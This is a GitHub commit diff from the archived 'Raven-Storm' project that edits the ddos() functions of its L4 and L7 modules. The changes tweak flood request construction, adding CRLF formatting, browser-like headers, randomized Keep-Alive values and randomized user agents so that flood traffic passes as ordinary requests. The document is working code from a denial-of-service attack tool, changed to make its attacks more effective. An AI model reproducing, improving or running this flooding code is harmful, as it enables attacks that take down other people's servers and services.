Skip to content
This repository has been archived by the owner on Dec 21, 2020. It is now read-only.

Commit

Permalink
Improved L4 and L7
Browse files Browse the repository at this point in the history
  • Loading branch information
Taguar258 committed Dec 9, 2020
1 parent c10ee13 commit 3e15f5d
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion Raven-Storm/modules/l4/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -456,7 +456,7 @@ def ddos(self):
mesalready = False
if var.get_url == "":
var.get_url = var.ip
packet = ("GET /%s HTTP/1.1\nHost: %s\n\n User-Agent: %s\nConnection: Keep-Alive\n\n%s" % (var.get_url, var.ip, choice(var.user_agents), var.message)).encode("utf-8")
packet = ("GET /%s HTTP/1.1\r\nHost: %s\r\n User-Agent: %s\r\nConnection: Keep-Alive\r\nAccept-Language: en-us\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n\r\n" % (var.get_url, var.ip, choice(var.user_agents), var.message)).encode("utf-8")
if not var.outtxtmute:
print("Thread started!")
if var.socketmethod == "UDP":
Expand Down
2 changes: 1 addition & 1 deletion Raven-Storm/modules/l7/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -225,7 +225,7 @@ def ddos(self):
while var.run_active:
for url in var.target:
try:
response = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': choice(var.user_agents)})) # noqa
response = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': choice(var.user_agents), "Connection": "keep-alive", "Accept-Encoding": "gzip, deflate", "Keep-Alive": randint(110,120)}), timeout=999) # noqa
var.command_log.append("Sucessful execution.")
except Exception as ex:
print("Request failed.")
Expand Down

0 comments on commit 3e15f5d

Please sign in to comment.